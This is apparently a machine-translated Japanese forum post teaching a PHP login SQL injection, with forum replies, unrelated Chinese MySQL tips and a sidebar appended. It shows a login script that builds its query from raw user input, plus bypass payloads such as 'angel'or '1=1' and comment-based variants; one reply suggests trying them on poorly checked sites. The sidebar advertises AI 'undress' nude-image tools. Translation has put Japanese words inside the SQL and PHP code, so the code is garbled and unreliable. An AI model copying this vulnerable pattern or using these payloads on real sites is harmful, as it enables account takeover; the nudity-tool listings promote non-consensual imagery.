PHP ログイン インジェクションの小さな例
PHP を学習する過程で SQL インジェクションについて聞いたことがあるでしょう。簡単に言うと、バックグラウンドで SQL コードの脆弱性を利用して不正な操作を実行することです。たとえば、ログインするバックエンド コードの脆弱性を悪用すると、ユーザーは実際のユーザー名とパスワードを知らなくても、フォームからデータを送信してバックエンドに正常にログインできます。ユーザー検証の例を見てみましょう。まず、次のようにデータベースとデータ テーブルを作成し、レコードを挿入します。
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,` ユーザー名` varchar(20) NOT NULL デフォルト '',
`パスワード` varchar(20) NOT NULL デフォルト '',
PRIMARY KEY (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
# テーブル `user`
#
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
検証するコードユーザーファイルは次のとおりです:
PHP コード:
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection ";
mysql_connect($servername,$dbusername,$dbpassword) または die ("データベース接続に失敗しました");
$sql = "SELECT * FROM user WHERE username='$username ' AND パスワード='$パスワード '";
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
if (empty($userinfo)){
echo "ログイン失敗" ;
} else {
echo "ログイン成功";
}
echo "
SQL クエリ:$sql
";
? >
この時点で次のように送信します:
http://127.0.0.1/injection/user.php?username=angel'or 1=1
次が返されます:
警告: mysql_fetch_array(): 指定された引数は、F:wwwinjectionuser.php の 13 行目で有効な MySQL 結果リソースではありません
ログインに失敗しました
SQL クエリ:SELECT * FROM user WHERE username='angel' or 1=1' ANDパスワード='
PHP 警告 : mysql_fetch_array(): 指定された引数は、F:wwwinjectionuser.php の 13 行目で有効な MySQL 結果リソースではありません
わかりますか?一重引用符が閉じられた後、次の一重引用符はコメントアウトされず、一重引用符が正しくペアにならないことになります。したがって、作成したステートメントでは Mysql を正しく実行できず、再構築する必要があることがわかります。 🎜>http://127.0.0.1/injection/user.php?username=angel'or '1=1
このとき、「Login Successful」と表示され、成功したことがわかります。または、次のように送信します:
http://127.0.0.1/injection/user.php?username=angel'/*
http://127.0.0.1/injection/user.php?username=angel'%23
これにより、次のステートメントがコメントアウトされます。これら 2 つの投稿の違いについて説明します。言うまでもなく、最初に投稿した文は論理演算を使用しています。 2 番目と 3 番目の文は、mysql の特性に基づいています。Mysql は、/* と # の 2 つのコメント形式をサポートしているため、送信するときに次のコードをコメントアウトします。エンコードの問題により、# を送信することに注意してください。 IE のアドレス バーは空になるため、アドレス バーで送信する場合は、# になる前に %23 を送信する必要があります。これは、PHP の論理演算よりもはるかに簡単であることがわかります。 ASP よりもはるかに強力で柔軟です。
詳細な元のアドレス: http://www.phpnewer.com/index.php/Dmaq/detail/id/202
-----解決策-- - -----------------
ふふふふふふふ
------解決策---------
共有してくれてありがとう
------解決策---------
記事は古すぎて時代遅れです。
------解決策---------
昨日公開されたばかりの記事は古いですか? ? ?
ディスカッション
これは確かに古い方法であり、次のことが可能です。これらのコメント文字と、エラーが発生したときに出力される情報を簡単にブロックします ただし、厳密に検査されていない Web サイトに対しては、この機能を試すことができます。
------解決策-----
一重引用符でフィルターで除外 他に何ができるでしょうか?
------解決策---------
これは前にも見たことがあります。 これは 1 つの GET 送信メソッドにすぎません。 POST投稿方法もあります
------解決策----------------------
この広告マンは広告を出し続けています。
------解決策----------------------
現在ブロックされている方が多いようです(笑)
------解決策------------------
幸いなことに、私は参加する決意をしています

在mysql中,可以利用char()和REPLACE()函数来替换换行符;REPLACE()函数可以用新字符串替换列中的换行符,而换行符可使用“char(13)”来表示,语法为“replace(字段名,char(13),'新字符串') ”。

mysql的msi与zip版本的区别:1、zip包含的安装程序是一种主动安装,而msi包含的是被installer所用的安装文件以提交请求的方式安装;2、zip是一种数据压缩和文档存储的文件格式,msi是微软格式的安装包。

转换方法:1、利用cast函数,语法“select * from 表名 order by cast(字段名 as SIGNED)”;2、利用“select * from 表名 order by CONVERT(字段名,SIGNED)”语句。

本篇文章给大家带来了关于mysql的相关知识,其中主要介绍了关于MySQL复制技术的相关问题,包括了异步复制、半同步复制等等内容,下面一起来看一下,希望对大家有帮助。

本篇文章给大家带来了关于mysql的相关知识,其中主要介绍了mysql高级篇的一些问题,包括了索引是什么、索引底层实现等等问题,下面一起来看一下,希望对大家有帮助。

在mysql中,可以利用REGEXP运算符判断数据是否是数字类型,语法为“String REGEXP '[^0-9.]'”;该运算符是正则表达式的缩写,若数据字符中含有数字时,返回的结果是true,反之返回的结果是false。

“mysql-connector”是mysql官方提供的驱动器,可以用于连接使用mysql;可利用“pip install mysql-connector”命令进行安装,利用“import mysql.connector”测试是否安装成功。

在mysql中,是否需要commit取决于存储引擎:1、若是不支持事务的存储引擎,如myisam,则不需要使用commit;2、若是支持事务的存储引擎,如innodb,则需要知道事务是否自动提交,因此需要使用commit。


ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

DVWA
Damn Vulnerable Web App (DVWA) は、非常に脆弱な PHP/MySQL Web アプリケーションです。その主な目的は、セキュリティ専門家が法的環境でスキルとツールをテストするのに役立ち、Web 開発者が Web アプリケーションを保護するプロセスをより深く理解できるようにし、教師/生徒が教室環境で Web アプリケーションを教え/学習できるようにすることです。安全。 DVWA の目標は、シンプルでわかりやすいインターフェイスを通じて、さまざまな難易度で最も一般的な Web 脆弱性のいくつかを実践することです。このソフトウェアは、

AtomエディタMac版ダウンロード
最も人気のあるオープンソースエディター

Dreamweaver Mac版
ビジュアル Web 開発ツール

PhpStorm Mac バージョン
最新(2018.2.1)のプロフェッショナル向けPHP統合開発ツール

SecLists
SecLists は、セキュリティ テスターの究極の相棒です。これは、セキュリティ評価中に頻繁に使用されるさまざまな種類のリストを 1 か所にまとめたものです。 SecLists は、セキュリティ テスターが必要とする可能性のあるすべてのリストを便利に提供することで、セキュリティ テストをより効率的かつ生産的にするのに役立ちます。リストの種類には、ユーザー名、パスワード、URL、ファジング ペイロード、機密データ パターン、Web シェルなどが含まれます。テスターはこのリポジトリを新しいテスト マシンにプルするだけで、必要なあらゆる種類のリストにアクセスできるようになります。
